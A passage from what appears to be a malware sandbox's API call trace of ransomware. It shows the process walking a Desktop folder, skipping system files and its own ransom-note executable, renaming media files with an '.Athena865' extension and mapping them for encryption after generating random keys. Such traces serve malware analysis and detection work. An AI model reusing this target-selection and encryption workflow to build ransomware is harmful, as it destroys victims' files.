HALPmcxz\\Desktop\\mdcQ_IY.m4a" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\mdcq_iy.m4a"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\mdcQ_IY.m4a.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\mdcq_iy.m4a.athena865"), dwFlags=0x1) returned 1 [0050.551] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\mdcQ_IY.m4a.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\mdcq_iy.m4a.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0050.551] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6308) returned 1 [0050.551] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.551] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.551] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.552] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.552] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.552] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.552] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1bb0, lpName=0x0) returned 0x154 [0050.553] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1bb0) returned 0x100000 [0050.553] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.554] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.554] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.554] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.554] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.554] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0050.554] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.554] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0050.554] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0050.554] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0050.554] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.554] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0050.554] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0050.554] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0050.554] CloseHandle (hObject=0x154) returned 1 [0050.554] CloseHandle (hObject=0x17c) returned 1 [0050.556] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0050.556] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0050.556] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0050.556] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3b59930, ftCreationTime.dwHighDateTime=0x1d4d492, ftLastAccessTime.dwLowDateTime=0x24b7fd0, ftLastAccessTime.dwHighDateTime=0x1d4cbf7, ftLastWriteTime.dwLowDateTime=0x24b7fd0, ftLastWriteTime.dwHighDateTime=0x1d4cbf7, nFileSizeHigh=0x0, nFileSizeLow=0x4381, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ohq8W9CDY3HwV3Wk.m4a", cAlternateFileName="OHQ8W9~1.M4A")) returned 1 [0050.556] lstrcmpiW (lpString1="ohq8W9CDY3HwV3Wk.m4a", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0050.556] lstrcmpiW (lpString1="ohq8W9CDY3HwV3Wk.m4a", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0050.556] lstrcmpiW (lpString1="ohq8W9CDY3HwV3Wk.m4a", lpString2=".") returned 1 [0050.556] lstrcmpiW (lpString1="ohq8W9CDY3HwV3Wk.m4a", lpString2="..") returned 1 [0050.556] lstrcmpiW (lpString1="ohq8W9CDY3HwV3Wk.m4a", lpString2="windows") returned -1 [0050.556] lstrcmpiW (lpString1="ohq8W9CDY3HwV3Wk.m4a", lpString2="bootmgr") returned 1 [0050.556] lstrcmpiW (lpString1="ohq8W9CDY3HwV3Wk.m4a", lpString2="temp") returned -1 [0050.556] lstrcmpiW (lpString1="ohq8W9CDY3HwV3Wk.m4a", lpString2="pagefile.sys") returned -1 [0050.556] lstrcmpiW (lpString1="ohq8W9CDY3HwV3Wk.m4a", lpString2="boot") returned 1 [0050.556] lstrcmpiW (lpString1="ohq8W9CDY3HwV3Wk.m4a", lpString2="ids.txt") returned 1 [0050.556] lstrcmpiW (lpString1="ohq8W9CDY3HwV3Wk.m4a", lpString2="ntuser.dat") returned 1 [0050.556] lstrcmpiW (lpString1="ohq8W9CDY3HwV3Wk.m4a", lpString2="perflogs") returned -1 [0050.556] lstrcmpiW (lpString1="ohq8W9CDY3HwV3Wk.m4a", lpString2="MSBuild") returned 1 [0050.556] lstrlenW (lpString="ohq8W9CDY3HwV3Wk.m4a") returned 20 [0050.556] lstrcpyW (in: lpString1=0x241e8b6, lpString2="ohq8W9CDY3HwV3Wk.m4a" | out: lpString1="ohq8W9CDY3HwV3Wk.m4a") returned="ohq8W9CDY3HwV3Wk.m4a" [0050.556] lstrlenW (lpString="ohq8W9CDY3HwV3Wk.m4a") returned 20 [0050.556] lstrlenW (lpString="Athena865") returned 9 [0050.556] lstrcmpiW (lpString1="wV3Wk.m4a", lpString2="Athena865") returned 1 [0050.556] lstrlenW (lpString=".dll") returned 4 [0050.556] lstrcmpiW (lpString1="ohq8W9CDY3HwV3Wk.m4a", lpString2=".dll") returned 1 [0050.556] lstrlenW (lpString=".lnk") returned 4 [0050.557] lstrcmpiW (lpString1="ohq8W9CDY3HwV3Wk.m4a", lpString2=".lnk") returned 1 [0050.557] lstrlenW (lpString=".ini") returned 4 [0050.557] lstrcmpiW (lpString1="ohq8W9CDY3HwV3Wk.m4a", lpString2=".ini") returned 1 [0050.557] lstrlenW (lpString=".sys") returned 4 [0050.557] lstrcmpiW (lpString1="ohq8W9CDY3HwV3Wk.m4a", lpString2=".sys") returned 1 [0050.557] lstrlenW (lpString="ohq8W9CDY3HwV3Wk.m4a") returned 20 [0050.557] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\ohq8W9CDY3HwV3Wk.m4a.Athena865") returned 85 [0050.557] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\ohq8W9CDY3HwV3Wk.m4a" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\ohq8w9cdy3hwv3wk.m4a"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\ohq8W9CDY3HwV3Wk.m4a.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\ohq8w9cdy3hwv3wk.m4a.athena865"), dwFlags=0x1) returned 1 [0050.557] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\ohq8W9CDY3HwV3Wk.m4a.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\ohq8w9cdy3hwv3wk.m4a.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0050.558] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=17281) returned 1 [0050.558] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.558] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.558] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.558] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.559] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.559] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.559] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4690, lpName=0x0) returned 0x154 [0050.559] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4690) returned 0x100000 [0050.560] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.560] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.560] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.561] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.561] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.561] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0050.561] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.561] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0050.561] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0050.561] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0050.561] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.561] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0050.561] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0050.561] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0050.561] CloseHandle (hObject=0x154) returned 1 [0050.561] CloseHandle (hObject=0x17c) returned 1 [0050.562] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0050.562] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0050.562] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0050.563] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2ba17a0, ftCreationTime.dwHighDateTime=0x1d4d491, ftLastAccessTime.dwLowDateTime=0x6106e610, ftLastAccessTime.dwHighDateTime=0x1d4cb19, ftLastWriteTime.dwLowDateTime=0x6106e610, ftLastWriteTime.dwHighDateTime=0x1d4cb19, nFileSizeHigh=0x0, nFileSizeLow=0xb284, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pOEgwOiiYRMEI6.gif", cAlternateFileName="POEGWO~1.GIF")) returned 1 [0050.563] lstrcmpiW (lpString1="pOEgwOiiYRMEI6.gif", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0050.563] lstrcmpiW (lpString1="pOEgwOiiYRMEI6.gif", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0050.563] lstrcmpiW (lpString1="pOEgwOiiYRMEI6.gif", lpString2=".") returned 1 [0050.563] lstrcmpiW (lpString1="pOEgwOiiYRMEI6.gif", lpString2="..") returned 1 [0050.563] lstrcmpiW (lpString1="pOEgwOiiYRMEI6.gif", lpString2="windows") returned -1 [0050.563] lstrcmpiW (lpString1="pOEgwOiiYRMEI6.gif", lpString2="bootmgr") returned 1 [0050.563] lstrcmpiW (lpString1="pOEgwOiiYRMEI6.gif", lpString2="temp") returned -1 [0050.563] lstrcmpiW (lpString1="pOEgwOiiYRMEI6.gif", lpString2="pagefile.sys") returned 1 [0050.563] lstrcmpiW (lpString1="pOEgwOiiYRMEI6.gif", lpString2="boot") returned 1 [0050.563] lstrcmpiW (lpString1="pOEgwOiiYRMEI6.gif", lpString2="ids.txt") returned 1 [0050.563] lstrcmpiW (lpString1="pOEgwOiiYRMEI6.gif", lpString2="ntuser.dat") returned 1 [0050.563] lstrcmpiW (lpString1="pOEgwOiiYRMEI6.gif", lpString2="perflogs") returned 1 [0050.563] lstrcmpiW (lpString1="pOEgwOiiYRMEI6.gif", lpString2="MSBuild") returned 1 [0050.563] lstrlenW (lpString="pOEgwOiiYRMEI6.gif") returned 18 [0050.563] lstrcpyW (in: lpString1=0x241e8b6, lpString2="pOEgwOiiYRMEI6.gif" | out: lpString1="pOEgwOiiYRMEI6.gif") returned="pOEgwOiiYRMEI6.gif" [0050.563] lstrlenW (lpString="pOEgwOiiYRMEI6.gif") returned 18 [0050.563] lstrlenW (lpString="Athena865") returned 9 [0050.563] lstrcmpiW (lpString1="RMEI6.gif", lpString2="Athena865") returned 1 [0050.563] lstrlenW (lpString=".dll") returned 4 [0050.563] lstrcmpiW (lpString1="pOEgwOiiYRMEI6.gif", lpString2=".dll") returned 1 [0050.563] lstrlenW (lpString=".lnk") returned 4 [0050.563] lstrcmpiW (lpString1="pOEgwOiiYRMEI6.gif", lpString2=".lnk") returned 1 [0050.563] lstrlenW (lpString=".ini") returned 4 [0050.564] lstrcmpiW (lpString1="pOEgwOiiYRMEI6.gif", lpString2=".ini") returned 1 [0050.564] lstrlenW (lpString=".sys") returned 4 [0050.564] lstrcmpiW (lpString1="pOEgwOiiYRMEI6.gif", lpString2=".sys") returned 1 [0050.564] lstrlenW (lpString="pOEgwOiiYRMEI6.gif") returned 18 [0050.564] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\pOEgwOiiYRMEI6.gif.Athena865") returned 83 [0050.564] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\pOEgwOiiYRMEI6.gif" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\poegwoiiyrmei6.gif"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\pOEgwOiiYRMEI6.gif.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\poegwoiiyrmei6.gif.athena865"), dwFlags=0x1) returned 1 [0050.564] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\pOEgwOiiYRMEI6.gif.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\poegwoiiyrmei6.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0050.565] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=45700) returned 1 [0050.565] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.565] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.565] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.565] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.566] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.566] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.566] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb590, lpName=0x0) returned 0x154 [0050.566] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb590) returned 0x100000 [0050.568] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.568] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.568] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.568] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.568] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.568] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0050.569] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.569] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0050.569] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0050.569] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0050.569] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.569] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0050.569] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0050.569] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0050.569] CloseHandle (hObject=0x154) returned 1 [0050.569] CloseHandle (hObject=0x17c) returned 1 [0050.570] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0050.570] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0050.571] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0050.571] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f58be90, ftCreationTime.dwHighDateTime=0x1d4c9d3, ftLastAccessTime.dwLowDateTime=0x3e488820, ftLastAccessTime.dwHighDateTime=0x1d4d539, ftLastWriteTime.dwLowDateTime=0x3e488820, ftLastWriteTime.dwHighDateTime=0x1d4d539, nFileSizeHigh=0x0, nFileSizeLow=0x363c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Qyo mTHjxFoO1.flv", cAlternateFileName="QYOMTH~1.FLV")) returned 1 [0050.571] lstrcmpiW (lpString1="Qyo mTHjxFoO1.flv", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0050.571] lstrcmpiW (lpString1="Qyo mTHjxFoO1.flv", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0050.571] lstrcmpiW (lpString1="Qyo mTHjxFoO1.flv", lpString2=".") returned 1 [0050.571] lstrcmpiW (lpString1="Qyo mTHjxFoO1.flv", lpString2="..") returned 1 [0050.571] lstrcmpiW (lpString1="Qyo mTHjxFoO1.flv", lpString2="windows") returned -1 [0050.571] lstrcmpiW (lpString1="Qyo mTHjxFoO1.flv", lpString2="bootmgr") returned 1 [0050.571] lstrcmpiW (lpString1="Qyo mTHjxFoO1.flv", lpString2="temp") returned -1 [0050.571] lstrcmpiW (lpString1="Qyo mTHjxFoO1.flv", lpString2="pagefile.sys") returned 1 [0050.571] lstrcmpiW (lpString1="Qyo mTHjxFoO1.flv", lpString2="boot") returned 1 [0050.571] lstrcmpiW (lpString1="Qyo mTHjxFoO1.flv", lpString2="ids.txt") returned 1 [0050.571] lstrcmpiW (lpString1="Qyo mTHjxFoO1.flv", lpString2="ntuser.dat") returned 1 [0050.571] lstrcmpiW (lpString1="Qyo mTHjxFoO1.flv", lpString2="perflogs") returned 1 [0050.571] lstrcmpiW (lpString1="Qyo mTHjxFoO1.flv", lpString2="MSBuild") returned 1 [0050.571] lstrlenW (lpString="Qyo mTHjxFoO1.flv") returned 17 [0050.571] lstrcpyW (in: lpString1=0x241e8b6, lpString2="Qyo mTHjxFoO1.flv" | out: lpString1="Qyo mTHjxFoO1.flv") returned="Qyo mTHjxFoO1.flv" [0050.571] lstrlenW (lpString="Qyo mTHjxFoO1.flv") returned 17 [0050.571] lstrlenW (lpString="Athena865") returned 9 [0050.571] lstrcmpiW (lpString1="xFoO1.flv", lpString2="Athena865") returned 1 [0050.572] lstrlenW (lpString=".dll") returned 4 [0050.572] lstrcmpiW (lpString1="Qyo mTHjxFoO1.flv", lpString2=".dll") returned 1 [0050.572] lstrlenW (lpString=".lnk") returned 4 [0050.572] lstrcmpiW (lpString1="Qyo mTHjxFoO1.flv", lpString2=".lnk") returned 1 [0050.572] lstrlenW (lpString=".ini") returned 4 [0050.572] lstrcmpiW (lpString1="Qyo mTHjxFoO1.flv", lpString2=".ini") returned 1 [0050.572] lstrlenW (lpString=".sys") returned 4 [0050.572] lstrcmpiW (lpString1="Qyo mTHjxFoO1.flv", lpString2=".sys") returned 1 [0050.572] lstrlenW (lpString="Qyo mTHjxFoO1.flv") returned 17 [0050.572] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qyo mTHjxFoO1.flv.Athena865") returned 82 [0050.572] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qyo mTHjxFoO1.flv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\qyo mthjxfoo1.flv"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qyo mTHjxFoO1.flv.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\qyo mthjxfoo1.flv.athena865"), dwFlags=0x1) returned 1 [0050.572] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qyo mTHjxFoO1.flv.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\desktop\\qyo mthjxfoo1.flv.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0050.573] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=13884) returned 1 [0050.573] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.573] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.573] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.573] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.574] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.574] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.574] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3940, lpName=0x0) returned 0x154 [0050.574] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3940) returned 0x100000 [0050.575] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.575] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.575] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.576] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.576] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.576] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0050.576] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.576] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0050.576] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0050.576] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0050.576] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.576] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0050.576] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0050.576] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0050.576] CloseHandle (hObject=0x154) returned 1 [0050.577] CloseHandle (hObject=0x17c) returned 1 [0050.578] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0050.578] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0050.578] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0050.578] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd410cea0, ftCreationTime.dwHighDateTime=0x1d4c56f, ftLastAccessTime.dwLowDateTime=0x738894e0, ftLastAccessTime.dwHighDateTime=0x1d4cab1, ftLastWriteTime.dwLowDateTime=0x738894e0, ftLastWriteTime.dwHighDateTime=0x1d4cab1, nFileSizeHigh=0x0, nFileSizeLow=0x5b6c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RU-S3sUrMUmc4X.png", cAlternateFileName="RU-S3S~1.PNG")) returned 1 [0050.578] lstrcmpiW (lpString1="RU-S3sUrMUmc4X.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0050.578] lstrcmpiW (lpString1="RU-S3sUrMUmc4X.png", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0050.578] lstrcmpiW (lpString1="RU-S3sUrMUmc4X.png", lpString2=".") returned 1 [0050.578] lstrcmpiW 